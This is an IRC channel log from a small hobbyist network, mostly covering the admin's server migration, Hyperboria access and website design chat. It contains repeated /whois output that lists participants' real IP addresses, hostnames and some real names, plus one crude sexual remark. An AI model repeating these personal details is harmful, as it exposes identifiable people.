[2015-02-03T21:51:23-0500] awe3 is now known as JacobEdelman
[2015-02-03T21:51:27-0500] <JacobEdelman> fine
[2015-02-03T21:51:30-0500] aww is now known as jwoglom
[2015-02-03T21:51:35-0500] <awe4> :'(
[2015-02-03T21:51:35-0500] awe8 is now known as jwoglomvps
[2015-02-03T21:51:37-0500] awe4 is now known as nezorg
[2015-02-03T21:51:38-0500] <jwoglom> guess the fun's over
[2015-02-03T21:51:42-0500] <Hyper> <3
[2015-02-03T21:51:54-0500] <Hyper> The fun never stops!
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[2015-02-03T21:51:57-0500] <JacobEdelman> awe7: are you jacob too?
[2015-02-03T21:51:59-0500] <hardmath123> EEEEEEEverything is normal!
[2015-02-03T21:52:00-0500] awe6 is now known as jwoglomvps
[2015-02-03T21:52:02-0500] <awe7> Nope :P
[2015-02-03T21:52:17-0500] awe7 has userhost awe7@pdgn-o82.pqq.rspcfp.IP and real name "enable user hosts @ kiwiirc.com"
[2015-02-03T21:52:17-0500] awe7 is connecting from awe7@a.clients.kiwiirc.com 109.169.31.3
[2015-02-03T21:52:17-0500] awe7 is on #pdgn 
[2015-02-03T21:52:17-0500] awe7 is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-03T21:52:17-0500] awe7 is using modes +x
[2015-02-03T21:52:17-0500] awe7 is using a secure connection
[2015-02-03T21:52:17-0500] awe7 signed on at February 3, 2015 at 9:47:20 PM EST and has been idle for 15 seconds
[2015-02-03T21:52:19-0500] <hardmath123> awe: is the DH-key issue fixed?
[2015-02-03T21:52:19-0500] <awe7> I'm still waiting for someone to guess who I am.
[2015-02-03T21:52:20-0500] alokpathy has userhost uid15876@pdgn-550.9ak.7cuf9e.IP and real name "Alok Tripathy"
[2015-02-03T21:52:20-0500] alokpathy is connecting from uid15876@brockwell.irccloud.com 192.184.10.118
[2015-02-03T21:52:20-0500] alokpathy is on #pdgn 
[2015-02-03T21:52:20-0500] alokpathy is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-03T21:52:20-0500] alokpathy is using modes +x
[2015-02-03T21:52:20-0500] alokpathy is using a secure connection
[2015-02-03T21:52:20-0500] alokpathy signed on at February 3, 2015 at 9:42:53 PM EST and has been idle for 7 minutes, 26 seconds
[2015-02-03T21:52:26-0500] bob_twinkles (bob_twinkle@pdgn-hp8.s89.qmba05.IP) joined the channel
[2015-02-03T21:52:33-0500] <~awe> hardmath123: it should be fixed on raphus
[2015-02-03T21:52:38-0500] bob_twinkles has userhost bob_twinkle@pdgn-hp8.s89.qmba05.IP and real name "bob_twinkles"
[2015-02-03T21:52:38-0500] bob_twinkles is connecting from bob_twinkle@pool-173-66-247-49.washdc.fios.verizon.net 173.66.247.49
[2015-02-03T21:52:38-0500] bob_twinkles is on #pdgn 
[2015-02-03T21:52:39-0500] bob_twinkles is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-03T21:52:39-0500] bob_twinkles is using modes +x
[2015-02-03T21:52:39-0500] bob_twinkles is using a secure connection
[2015-02-03T21:52:39-0500] bob_twinkles signed on at February 3, 2015 at 9:52:22 PM EST and has been idle for 15 seconds
[2015-02-03T21:52:45-0500] <hardmath123> raphus is bay area?
[2015-02-03T21:52:46-0500] <~awe> Yes.
[2015-02-03T21:52:51-0500] <hardmath123> sweet
[2015-02-03T21:52:56-0500] <jwoglom> awe: what's the name of the east coast one?
[2015-02-03T21:53:00-0500] <~awe> columba.
[2015-02-03T21:53:05-0500] <awe7> Is raphus all of the west coast?
[2015-02-03T21:53:05-0500] <~awe> raphus.pdgn.co and columba.pdgn.co
[2015-02-03T21:53:09-0500] <jwoglom> bc i connected to raphus for whatever reason
[2015-02-03T21:53:13-0500] <~awe> Everyone is on raphus right now.
[2015-02-03T21:53:15-0500] <~awe> I think.
[2015-02-03T21:53:20-0500] <hardmath123> awe: can I reset it to 2048, or is it between 1024 and 2048?
[2015-02-03T21:53:22-0500] <~awe> It's the one that resolves first on DNS records.
[2015-02-03T21:53:25-0500] <~awe> hardmath123: it's 4096.
[2015-02-03T21:53:28-0500] <Hyper> awe: but how will I deal with the ping times on my irc?
[2015-02-03T21:53:29-0500] <hardmath123> nice
[2015-02-03T21:53:30-0500] <Hyper> pls
[2015-02-03T21:53:35-0500] <~awe> Hyper: you can connect directly to columba.
[2015-02-03T21:53:38-0500] <~awe> Hyper: feel free to.
[2015-02-03T21:53:47-0500] <~awe> Both servers should work now.
[2015-02-03T21:54:01-0500] <Hyper> I need my super-high-performance IRC connection
[2015-02-03T21:54:09-0500] <Hyper> I should just move next to the datacenter for best speeds
[2015-02-03T21:54:14-0500] <~awe> You're not very far at all.
[2015-02-03T21:54:18-0500] <~awe> It's in Newark, I think.
[2015-02-03T21:54:22-0500] <Hyper> I'll beat all of y'all to the puns
[2015-02-03T21:54:27-0500] <awe7> Hyper: Cause that 10ms lag is horrible.
[2015-02-03T21:54:30-0500] <~awe> high-frequency punning.
[2015-02-03T21:54:32-0500] <~awe> GASP
[2015-02-03T21:54:48-0500] <Hyper> 10ms? That's most of a frame in a 60fps game
[2015-02-03T21:54:48-0500] awe sets mode +v LittleBobbyTables
[2015-02-03T21:54:54-0500] <Hyper> how can you deal with 10ms of lag
[2015-02-03T21:54:56-0500] awe sets mode +v alokpathy
[2015-02-03T21:54:57-0500] <Hyper> geeeeeez
[2015-02-03T21:54:57-0500] <jwoglom> 64 bytes from 104.236.144.187: icmp_req=1 ttl=56 time=89.4 ms
[2015-02-03T21:54:59-0500] <jwoglom> :(
[2015-02-03T21:55:09-0500] <awe7> Why did those people get voice?
[2015-02-03T21:55:12-0500] <awe7> Why not me?
[2015-02-03T21:55:16-0500] <~awe> I don't know who you are, awe7.
[2015-02-03T21:55:25-0500] <awe7> Guess.
[2015-02-03T21:55:30-0500] <jwoglom> awe7: awe?
[2015-02-03T21:55:31-0500] <JacobEdelman> Also, why not me?
[2015-02-03T21:55:33-0500] <~awe> I don't know who uses Kiwi?
[2015-02-03T21:55:35-0500] <awe7> right!
[2015-02-03T21:55:38-0500] awe7 (awe7@pdgn-o82.pqq.rspcfp.IP) left IRC (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client)
[2015-02-03T21:55:52-0500] <JacobEdelman> .... can I be voiced>
[2015-02-03T21:55:55-0500] <JacobEdelman> *?
[2015-02-03T21:56:01-0500] awe sets mode +v JacobEdelman
[2015-02-03T21:56:03-0500] <Hyper> wait so awe was talking to himself?
[2015-02-03T21:56:07-0500] <Hyper> ok then
[2015-02-03T21:56:10-0500] <~awe> Nah, I think it was Tamini.
[2015-02-03T21:56:15-0500] <~awe> Maybe not though.
[2015-02-03T21:56:17-0500] <~awe> She doesn't capitalize stuff.
[2015-02-03T21:56:20-0500] <+JacobEdelman> It was me
[2015-02-03T21:56:21-0500] <+JacobEdelman> :P
[2015-02-03T21:56:24-0500] <~awe> Oh, okay.
[2015-02-03T21:56:25-0500] <+JacobEdelman> I proved I can spell
[2015-02-03T21:56:27-0500] <+JacobEdelman> now gnight
[2015-02-03T21:56:30-0500] <jwoglom> awe: she was awe5, no?
[2015-02-03T21:56:33-0500] <~awe> She was.
[2015-02-03T21:56:41-0500] <+JacobEdelman> now I have shown
[2015-02-03T21:56:45-0500] <+JacobEdelman> I can spell and grammar and english
[2015-02-03T21:56:49-0500] <~awe> Briefly.
[2015-02-03T21:56:49-0500] <+JacobEdelman> I just choose not too
[2015-02-03T21:56:54-0500] <+JacobEdelman> shush
[2015-02-03T21:57:05-0500] <+JacobEdelman> it was good enough that you thought it was too good to be Tamini
[2015-02-03T21:57:07-0500] <+JacobEdelman> thats enough for me
[2015-02-03T21:57:08-0500] <+JacobEdelman> :P
[2015-02-03T21:57:31-0500] <~awe> What?
[2015-02-03T21:57:31-0500] <~awe> No.
[2015-02-03T21:57:36-0500] <~awe> I didn't think the English was good.
[2015-02-03T21:57:44-0500] <~awe> It's just that Tamini never capitalizes sentences.
[2015-02-03T21:57:59-0500] <~awe> I need to make the server accessible over Hyperboria again.
[2015-02-03T22:02:15-0500] <ubuntor> oh, is the server all linked up?
[2015-02-03T22:02:18-0500] <~awe> Yes.
[2015-02-03T22:02:24-0500] ubuntor has userhost ubuntor@pdgn-7g9.49v.932ek0.IP and real name "ubuntor"
[2015-02-03T22:02:24-0500] ubuntor is connecting from ubuntor@ubuntor.org 23.95.9.156
[2015-02-03T22:02:24-0500] ubuntor is on #pdgn 
[2015-02-03T22:02:24-0500] ubuntor is connected on columba.pdgn.co (The Pdgn Network)
[2015-02-03T22:02:24-0500] ubuntor is using modes +x
[2015-02-03T22:02:24-0500] ubuntor is using a secure connection
[2015-02-03T22:02:24-0500] ubuntor signed on at February 3, 2015 at 9:41:51 PM EST and has been idle for 10 seconds
[2015-02-03T22:02:29-0500] <~awe> ubuntor: you're currently on columba.
[2015-02-03T22:02:31-0500] <~awe> I'm on raphus. :)
[2015-02-03T22:02:40-0500] <ubuntor> sweet
[2015-02-03T22:02:46-0500] <ubuntor> ooh, can i also get voice?
[2015-02-03T22:03:00-0500] <jwoglom> ooh voice?
[2015-02-03T22:03:14-0500] <jwoglom> there is literally no reason/advantage but cool
[2015-02-03T22:03:40-0500] awe sets mode +v ubuntor
[2015-02-03T22:03:42-0500] awe sets mode +v jwoglom
[2015-02-03T22:03:46-0500] <+ubuntor> yay
[2015-02-03T22:03:47-0500] <~awe> Yeah, it does nothing since I never mute the room. :)
[2015-02-03T22:04:20-0500] <hardmath123> meee tooo
[2015-02-03T22:04:26-0500] <+jwoglom> such msgvoice wow
[2015-02-03T22:04:53-0500] awe sets mode +v hardmath123
[2015-02-03T22:07:00-0500] <~awe> Welp, the old server is being destroyed.
[2015-02-03T22:07:03-0500] <~awe> Goodbye, original pdgn.co.
[2015-02-03T22:07:32-0500] <+jwoglom> rip
[2015-02-03T22:07:40-0500] <~awe> It's okay. This should be a lot better.
[2015-02-03T22:08:02-0500] alokpathy is now known as alokypathy
[2015-02-03T22:08:14-0500] alokypathy is now known as apothy
[2015-02-03T22:12:57-0500] <+hardmath123> i get so disoriented when people change nicks, because weechat's color-hashing algorithm changes the colors.
[2015-02-03T22:13:34-0500] <~awe> Ah, mine does not (intentionally).
[2015-02-03T22:14:21-0500] ubuntor has userhost ubuntor@pdgn-7g9.49v.932ek0.IP and real name "ubuntor"
[2015-02-03T22:14:21-0500] ubuntor is connecting from ubuntor@ubuntor.org 23.95.9.156
[2015-02-03T22:14:21-0500] ubuntor is on +#pdgn 
[2015-02-03T22:14:21-0500] ubuntor is connected on columba.pdgn.co (The Pdgn Network)
[2015-02-03T22:14:21-0500] ubuntor is using modes +x
[2015-02-03T22:14:21-0500] ubuntor is using a secure connection
[2015-02-03T22:14:21-0500] ubuntor signed on at February 3, 2015 at 9:41:51 PM EST and has been idle for 10 minutes, 37 seconds
[2015-02-03T22:14:31-0500] apothy has userhost uid15876@pdgn-550.9ak.7cuf9e.IP and real name "Alok Tripathy"
[2015-02-03T22:14:31-0500] apothy is connecting from uid15876@brockwell.irccloud.com 192.184.10.118
[2015-02-03T22:14:31-0500] apothy is on +#pdgn 
[2015-02-03T22:14:31-0500] apothy is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-03T22:14:31-0500] apothy is using modes +x
[2015-02-03T22:14:31-0500] apothy is using a secure connection
[2015-02-03T22:14:31-0500] apothy signed on at February 3, 2015 at 9:42:53 PM EST and has been idle for 2 minutes, 29 seconds
[2015-02-03T22:14:32-0500] hardmath123 has userhost hardmath123@pdgn-1fv.ggl.o6nc3t.IP and real name "hardmath123"
[2015-02-03T22:14:32-0500] hardmath123 is connecting from hardmath123@ec2-54-69-163-190.us-west-2.compute.amazonaws.com 54.69.163.190
[2015-02-03T22:14:32-0500] hardmath123 is on +#pdgn #block 
[2015-02-03T22:14:32-0500] hardmath123 is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-03T22:14:32-0500] hardmath123 is using modes +x
[2015-02-03T22:14:32-0500] hardmath123 is using a secure connection
[2015-02-03T22:14:32-0500] hardmath123 signed on at February 3, 2015 at 9:47:28 PM EST and has been idle for 1 minute, 35 seconds
[2015-02-03T22:14:34-0500] JacobEdelman has userhost uid15877@pdgn-5ih.9lf.7cuf9e.IP and real name "JacobE"
[2015-02-03T22:14:34-0500] JacobEdelman is connecting from uid15877@uxbridge.irccloud.com 192.184.9.114
[2015-02-03T22:14:34-0500] JacobEdelman is on +#pdgn ~#hshackers ~#math ~#cs ~#closeFCPS ~#awe_fan_club ~#korra 
[2015-02-03T22:14:34-0500] JacobEdelman is connected on columba.pdgn.co (The Pdgn Network)
[2015-02-03T22:14:34-0500] JacobEdelman is using modes +x
[2015-02-03T22:14:34-0500] JacobEdelman is using a secure connection
[2015-02-03T22:14:34-0500] JacobEdelman signed on at February 3, 2015 at 9:42:01 PM EST and has been idle for 17 minutes, 26 seconds
[2015-02-03T22:14:38-0500] jwoglom has userhost jwoglom@pdgn-npn.rgt.b45una.IP and real name "jwoglom"
[2015-02-03T22:14:38-0500] jwoglom is connecting from jwoglom@pool-100-36-182-11.washdc.fios.verizon.net 100.36.182.11
[2015-02-03T22:14:38-0500] jwoglom is on +#pdgn 
[2015-02-03T22:14:38-0500] jwoglom is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-03T22:14:38-0500] jwoglom is using modes +x
[2015-02-03T22:14:38-0500] jwoglom is using a secure connection
[2015-02-03T22:14:38-0500] jwoglom signed on at February 3, 2015 at 9:42:38 PM EST and has been idle for 7 minutes, 8 seconds
[2015-02-03T22:14:39-0500] LittleBobbyTables has userhost sid33285@pdgn-550.9ak.7cuf9e.IP and real name "LBT"
[2015-02-03T22:14:39-0500] LittleBobbyTables is connecting from sid33285@brockwell.irccloud.com 192.184.10.118
[2015-02-03T22:14:39-0500] LittleBobbyTables is on +#pdgn ~#realstudy ~#pdgn-revolt ~#bots ~#LBT-hateclub ~#resistance ~#hsctfbots 
[2015-02-03T22:14:39-0500] LittleBobbyTables is connected on raphus.pdgn.co (The Pdgn Network)
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[2015-02-03T22:14:39-0500] LittleBobbyTables signed on at February 3, 2015 at 9:42:53 PM EST and has been idle for 26 minutes
[2015-02-03T22:14:41-0500] ubuntor has userhost ubuntor@pdgn-7g9.49v.932ek0.IP and real name "ubuntor"
[2015-02-03T22:14:41-0500] ubuntor is connecting from ubuntor@ubuntor.org 23.95.9.156
[2015-02-03T22:14:41-0500] ubuntor is on +#pdgn 
[2015-02-03T22:14:41-0500] ubuntor is connected on columba.pdgn.co (The Pdgn Network)
[2015-02-03T22:14:41-0500] ubuntor is using modes +x
[2015-02-03T22:14:41-0500] ubuntor is using a secure connection
[2015-02-03T22:14:41-0500] ubuntor signed on at February 3, 2015 at 9:41:51 PM EST and has been idle for 10 minutes, 56 seconds
[2015-02-03T22:14:42-0500] assface has userhost jack@pdgn-dhr.tli.frc9r1.IP and real name "Unknown"
[2015-02-03T22:14:42-0500] assface is connecting from jack@pool-71-102-212-104.snloca.dsl-w.verizon.net 71.102.212.104
[2015-02-03T22:14:42-0500] assface is on #pdgn 
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[2015-02-03T22:14:42-0500] assface is using modes +ix
[2015-02-03T22:14:42-0500] assface is using a secure connection
[2015-02-03T22:14:42-0500] assface signed on at February 3, 2015 at 9:41:52 PM EST and has been idle for 32 minutes, 49 seconds
[2015-02-03T22:14:43-0500] bob_twinkles has userhost bob_twinkle@pdgn-hp8.s89.qmba05.IP and real name "bob_twinkles"
[2015-02-03T22:14:43-0500] bob_twinkles is connecting from bob_twinkle@pool-173-66-247-49.washdc.fios.verizon.net 173.66.247.49
[2015-02-03T22:14:43-0500] bob_twinkles is on #pdgn 
[2015-02-03T22:14:43-0500] bob_twinkles is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-03T22:14:43-0500] bob_twinkles is using modes +x
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[2015-02-03T22:14:43-0500] bob_twinkles signed on at February 3, 2015 at 9:52:22 PM EST and has been idle for 22 minutes, 19 seconds
[2015-02-03T22:14:44-0500] calc0000 has userhost calc0000@pdgn-h28.b7e.f32pa7.IP and real name "calc0000"
[2015-02-03T22:14:44-0500] calc0000 is connecting from calc0000@199.233.247.184 199.233.247.184
[2015-02-03T22:14:44-0500] calc0000 is on #pdgn 
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[2015-02-03T22:14:44-0500] calc0000 is using modes +x
[2015-02-03T22:14:44-0500] calc0000 is using a secure connection
[2015-02-03T22:14:44-0500] calc0000 signed on at February 3, 2015 at 9:41:51 PM EST and has been idle for 32 minutes, 52 seconds
[2015-02-03T22:14:45-0500] Hyper has userhost Hyper@pdgn-4jd.4t2.2bemd8.IP and real name "Hyper"
[2015-02-03T22:14:45-0500] Hyper is connecting from Hyper@104.236.15.100 104.236.15.100
[2015-02-03T22:14:45-0500] Hyper is on #pdgn 
[2015-02-03T22:14:45-0500] Hyper is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-03T22:14:45-0500] Hyper is using modes +x
[2015-02-03T22:14:45-0500] Hyper is using a secure connection
[2015-02-03T22:14:45-0500] Hyper signed on at February 3, 2015 at 9:42:51 PM EST and has been idle for 18 minutes, 39 seconds
[2015-02-03T22:14:47-0500] jwoglomvps has userhost james@pdgn-ffg.vj9.1jgje7.IP and real name "james"
[2015-02-03T22:14:47-0500] jwoglomvps is connecting from james@kang.wogloms.com 104.131.184.108
[2015-02-03T22:14:47-0500] jwoglomvps is on #pdgn 
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[2015-02-03T22:14:47-0500] jwoglomvps is using modes +x
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[2015-02-03T22:14:47-0500] jwoglomvps signed on at February 3, 2015 at 9:44:40 PM EST and has been idle for 30 minutes, 5 seconds
[2015-02-03T22:14:48-0500] nezorg has userhost nezorg@pdgn-ic2.2dt.1jgje7.IP and real name "John Grosen"
[2015-02-03T22:14:48-0500] nezorg is connecting from nezorg@104.131.151.187 104.131.151.187
[2015-02-03T22:14:48-0500] nezorg is on #pdgn #block #rust 
[2015-02-03T22:14:48-0500] nezorg is connected on columba.pdgn.co (The Pdgn Network)
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[2015-02-03T22:14:49-0500] Pharyngeal has userhost Pharyngeal@pdgn-9q9.ff1.1jgje7.IP and real name "Pharyngeal"
[2015-02-03T22:14:49-0500] Pharyngeal is connecting from Pharyngeal@iris.ventricle.us 104.131.34.172
[2015-02-03T22:14:49-0500] Pharyngeal is on #pdgn #rust 
[2015-02-03T22:14:49-0500] Pharyngeal is connected on columba.pdgn.co (The Pdgn Network)
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[2015-02-03T22:14:49-0500] The_Master has userhost uid51972@pdgn-10a.9lf.7cuf9e.IP and real name "AtumEzRa"
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[2015-02-03T22:14:51-0500] zrl has userhost sid22717@pdgn-550.9ak.7cuf9e.IP and real name "Zach Latta"
[2015-02-03T22:14:51-0500] zrl is connecting from sid22717@brockwell.irccloud.com 192.184.10.118
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[2015-02-03T22:15:07-0500] <~awe> There's actually a fair split of users on each server.
[2015-02-03T22:15:08-0500] <~awe> I jsut checked.
[2015-02-03T22:16:20-0500] <~awe> Many of you aren't on the one closer to you, but it's roughly evenly split.
[2015-02-03T22:17:00-0500] <+jwoglom> wouldn't it make more sense if it was dependent on location?
[2015-02-03T22:18:24-0500] <~awe> I can't do that.
[2015-02-03T22:18:41-0500] <~awe> DNS doesn't resolve by location.
[2015-02-03T22:22:55-0500] alokpath- (alokpathy@pdgn-4jd.4t2.2bemd8.IP) joined the channel
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[2015-02-03T22:23:18-0500] <~awe> hi alokpathy!
[2015-02-03T22:23:52-0500] <alokpathy> awe: Hiya!
[2015-02-03T22:30:09-0500] <alokpathy> So, how does this weechat android client work?
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[2015-02-03T22:30:45-0500] <testie> hi
[2015-02-03T22:30:46-0500] <testie> bye
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[2015-02-03T22:31:03-0500] <~awe> columba is now accessible via hyperboria. ;)
[2015-02-03T22:31:04-0500] <~awe> :)*
[2015-02-03T22:32:50-0500] <~awe> Okay, I just need to make raphus accessible via hyperboria.
[2015-02-03T22:34:11-0500] <+hardmath123> So in this article <http://priceonomics.com/the-independent-discovery-of-tcpip-by-ants/>, they hint that your brain's neurons are startlingly close to an invention of programmers called the "neural network". :P
[2015-02-03T22:34:24-0500] <~awe> Lol.
[2015-02-03T22:34:36-0500] <~awe> I think they might have it a tiny bit backwards.
[2015-02-03T22:34:39-0500] <+jwoglom> man, those two words sound familiar
[2015-02-03T22:34:44-0500] <+jwoglom> i wonder if they're related
[2015-02-03T22:35:05-0500] <alokpathy> Wow we're good guessers.
[2015-02-03T22:35:05-0500] <+ubuntor> i think the brain copied off of neural networks
[2015-02-03T22:35:10-0500] <alokpathy> ^
[2015-02-03T22:35:24-0500] <~awe> Definitely.
[2015-02-03T22:35:26-0500] <~awe> ubuntor: is spot on.
[2015-02-03T22:38:21-0500] <~awe> Sysadmining feels great when everything works.
[2015-02-03T22:38:30-0500] <~awe> Well, specifically, when things go from not working to working.
[2015-02-03T22:38:41-0500] <+jwoglom> sysadmining is fun!
[2015-02-03T22:38:54-0500] <+jwoglom> except for when you're tearing your hair out over something stupid
[2015-02-03T22:38:58-0500] <~awe> Yes.
[2015-02-03T22:47:53-0500] <~awe> Both servers are now accessible via Hyperboria!
[2015-02-03T22:47:54-0500] <~awe> Woo!
[2015-02-03T22:48:00-0500] <alokpathy> :D
[2015-02-03T22:48:54-0500] <~awe> Works similarly.
[2015-02-03T22:48:59-0500] <~awe> h.irc.pdgn.co will connect you to either of them.
[2015-02-03T22:49:05-0500] <~awe> h.columba.pdgn.co will connect you to columba.
[2015-02-03T22:49:13-0500] <~awe> h.raphus.pdgn.co will connect you to raphus.
[2015-02-03T22:49:29-0500] <~awe> alokpathy: Shannon needs to get us that logo now.
[2015-02-03T22:51:50-0500] <alokpathy> She does.
[2015-02-03T22:51:53-0500] <alokpathy> I keep asking her.
[2015-02-03T22:52:46-0500] <~awe> I think I'll set up the site without the logo.
[2015-02-03T22:56:10-0500] <~awe> Aw, vear.ch is no longer up.
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[2015-02-03T23:00:23-0500] <~awe> hi awebot
[2015-02-03T23:00:24-0500] <~awe> @whois awe
[2015-02-03T23:00:24-0500] <awebot> awe: awe is the Dark Lord of Strong, Static Typing and the Benevolent Dictator for Life of Pdgn.
[2015-02-03T23:00:36-0500] <~awe> @whois awebot
[2015-02-03T23:00:36-0500] <awebot> awe: awebot is just your friendly neighborhood Spiderman.
[2015-02-03T23:00:45-0500] <alokpathy> awe: :(
[2015-02-03T23:00:51-0500] <~awe> alokpathy: ?
[2015-02-03T23:00:54-0500] <~awe> Oh. Vearch?
[2015-02-03T23:00:56-0500] <~awe> Yeah.
[2015-02-03T23:01:04-0500] <alokpathy> Why must the good die young?
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[2015-02-03T23:01:40-0500] <~awe> Because it cost $500/mo.
[2015-02-03T23:01:54-0500] <~awe> MrSaints: the network has dramatically improved in the time you were gone. :D
[2015-02-03T23:01:55-0500] <alokpathy> Why must the good also be the expensive?
[2015-02-03T23:02:07-0500] <MrSaints> awe, woooo great because i forgot my password
[2015-02-03T23:02:10-0500] <~awe> alokpathy: Because GPUs, mang.
[2015-02-03T23:02:25-0500] <~awe> MrSaints: for what?
[2015-02-03T23:02:32-0500] <MrSaints> awe, this
[2015-02-03T23:02:37-0500] <MrSaints> but it seems that i dont need it
[2015-02-03T23:02:38-0500] <MrSaints> so woo
[2015-02-03T23:02:39-0500] <~awe> password for this?
[2015-02-03T23:03:16-0500] <~awe> If you mean nickserv stuff, we made the decision to take down services until such a time as we feel we need them again.
[2015-02-03T23:03:25-0500] <MrSaints> yup
[2015-02-03T23:03:32-0500] <~awe> Well, I made that decision, and ubuntor was there.
[2015-02-03T23:03:39-0500] <+ubuntor> lol
[2015-02-03T23:03:41-0500] <~awe> And if people feel otherwise, I'll bring it back.
[2015-02-03T23:03:43-0500] <~awe> But yeah.
[2015-02-03T23:04:10-0500] <~awe> MrSaints: there's now two servers (both US, sorry, bb)
[2015-02-03T23:04:22-0500] <MrSaints> it cool
[2015-02-03T23:04:35-0500] <~awe> I'll add a European one some day.
[2015-02-03T23:04:38-0500] <MrSaints> i rather have NSA than GCHQ jacking my communications
[2015-02-03T23:04:40-0500] <MrSaints> fuck the EU
[2015-02-03T23:04:59-0500] <~awe> Hah, yeah.
[2015-02-03T23:05:19-0500] <~awe> The UK in particular is getting very creepy.
[2015-02-03T23:06:32-0500] <+LittleBobbyTables> Anyone want to watch a video of Randy Quaid having sex with his wife in a Rupert Murdoch mask
[2015-02-03T23:06:37-0500] <~awe> Lol.
[2015-02-03T23:06:42-0500] <~awe> No, but that sounds great.
[2015-02-03T23:07:36-0500] <+LittleBobbyTables> Sorry, "fucking" is the more correct term in this vide
[2015-02-03T23:07:37-0500] <+LittleBobbyTables> o
[2015-02-03T23:13:34-0500] <+LittleBobbyTables> waow
[2015-02-03T23:37:26-0500] <+hardmath123> awe: wait, so we don't have Pidgey's NS anymore?
[2015-02-03T23:37:30-0500] <~awe> N.
[2015-02-03T23:37:33-0500] <~awe> Pidgey is not running at all.
[2015-02-03T23:37:49-0500] <~awe> I'll probably migrate Resistance into an awebot plugin.
[2015-02-03T23:38:04-0500] <+hardmath123> hmm
[2015-02-03T23:38:14-0500] <+hardmath123> if someone logs in as Pidgey
[2015-02-03T23:38:22-0500] <~awe> Can't.
[2015-02-03T23:38:26-0500] <~awe> It's a blocked nickname.
[2015-02-03T23:38:27-0500] <+hardmath123> they would know my nickserv password every time I joined
[2015-02-03T23:38:27-0500] <~awe> :)
[2015-02-03T23:38:29-0500] <alokpathy> Oh, yeah, that's what was missing.
[2015-02-03T23:38:30-0500] <+hardmath123> oh goody.
[2015-02-03T23:38:35-0500] <~awe> I thought about that. Don't worry.
[2015-02-03T23:38:43-0500] <~awe> It also ensures that if we change our minds, I can readd it without any issues.
[2015-02-03T23:38:56-0500] <+hardmath123> yeah.
[2015-02-03T23:38:58-0500] awe sets mode -q awe
[2015-02-03T23:39:10-0500] awe sets mode +v awe
[2015-02-03T23:40:12-0500] • hardmath123: spent the past 45 min arm wrestling with his best friends, Bach and Chopin.
[2015-02-03T23:40:35-0500] <alokpathy> I spent the last 45 min listening to national anthems.
[2015-02-03T23:41:05-0500] <alokpathy> I like the Soviet Union's.
[2015-02-03T23:41:25-0500] <+awe> I spent the last 45 min appreciating my work, and writing a blog post about my new site.
[2015-02-03T23:41:38-0500] <+awe> Afterward, I'll start working on the Pdgn site.
[2015-02-03T23:42:14-0500] <+hardmath123> I'm going to take your cue and go prettify my site a bit.
[2015-02-03T23:42:54-0500] <+awe> I'm very happy with my site.
[2015-02-03T23:56:04-0500] <+LittleBobbyTables> I spent the last 45 minutes wondering why supports go afk early game then blame you when you can't farm vs 4 range hero's.
[2015-02-03T23:58:33-0500] <+awe> new blog post: http://aaronweiss.us/posts/2015-02-03-going-static.html
[2015-02-03T23:58:43-0500] <+awe> LittleBobbyTables: y u no farm better?
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[2015-02-04T00:56:18-0500] <+hardmath123> awe: Nice. "The blog posts themselves were much too wide, making them difficult to read" :D :D :D
[2015-02-04T00:56:40-0500] <+awe> Yeah, I've read a few different articles about legibility and design.
[2015-02-04T00:57:03-0500] <+awe> The general gist being that everything we learned about newspapers still applies to screens.
[2015-02-04T00:57:28-0500] <+awe> Text that's too wide is hard to read because it's more difficult to scan, and spacing between lines is super important.
[2015-02-04T00:57:33-0500] <+hardmath123> Yes, exactly.
[2015-02-04T00:57:39-0500] <+hardmath123> Tell that to Jacob.
[2015-02-04T00:57:41-0500] <+hardmath123> :P
[2015-02-04T00:57:54-0500] <+hardmath123> :P
[2015-02-04T00:58:08-0500] <+awe> Jacob's "fancy" site looks pretty gross.
[2015-02-04T00:59:31-0500] <+awe> I really appreciate the 30+ web fonts and 12,000 lines of JS I had to download just to see it.
[2015-02-04T01:01:12-0500] <+awe> hardmath123: seriously, there's over THIRTY WEB FONTS.
[2015-02-04T01:01:42-0500] <+hardmath123> I just retypeset my blog in explicitly-thinned in Times New Roman.
[2015-02-04T01:01:47-0500] <+hardmath123> I think it looks kinda cute.
[2015-02-04T01:03:16-0500] <MrSaints> awe, "glaringly bright background colors made the page hard to look at" definitely
[2015-02-04T01:03:44-0500] <+awe> hardmath123: your site was yellow before, right?
[2015-02-04T01:04:28-0500] <+hardmath123> awe: only the little strip on top is yellow
[2015-02-04T01:04:30-0500] <MrSaints> awe, http://aaronweiss.us/css/bootstrap.min.css
[2015-02-04T01:04:32-0500] <MrSaints> lol
[2015-02-04T01:04:36-0500] <+awe> hardmath123: did it used to be different?
[2015-02-04T01:04:37-0500] <MrSaints> all just for grids
[2015-02-04T01:04:52-0500] <+awe> MrSaints: grids and glyphicons
[2015-02-04T01:05:01-0500] <+hardmath123> awe: it has evolved a *lot*. you can go and git checkout old versions. some are horrific, some are pretty but were changed because i got sick of it.
[2015-02-04T01:05:04-0500] <+awe> MrSaints: which is all that's contained in that file though.
[2015-02-04T01:05:17-0500] <MrSaints> ah
[2015-02-04T01:05:44-0500] <+awe> hardmath123: your commit messages are so bad.
[2015-02-04T01:05:55-0500] <+awe> MrSaints: that and normalize, obviously.
[2015-02-04T01:05:59-0500] <+awe> MrSaints: but that has it's own value, too.
[2015-02-04T01:06:02-0500] <MrSaints> you're using font awesome and glyphicons?
[2015-02-04T01:06:17-0500] <+awe> Yeah.
[2015-02-04T01:06:22-0500] <MrSaints> well i see form styles
[2015-02-04T01:06:25-0500] <MrSaints> and table styles too
[2015-02-04T01:06:25-0500] <+awe> Font Awesome is just for the GitHub icon.
[2015-02-04T01:06:35-0500] <+awe> Yeah, I think I included some extra stuff.
[2015-02-04T01:06:48-0500] <+awe> Tables may show up in blog posts.
[2015-02-04T01:06:50-0500] <+awe> So, it's good to have that.
[2015-02-04T01:06:52-0500] <MrSaints> ya
[2015-02-04T01:06:57-0500] <+awe> I'll regenerate without form styling though.
[2015-02-04T01:07:36-0500] <+hardmath123> awe: only on my blog. because i don't care much about the history (except for reminiscing)
[2015-02-04T01:08:31-0500] <+awe> Yeah, I just accidentally left forms enabled.
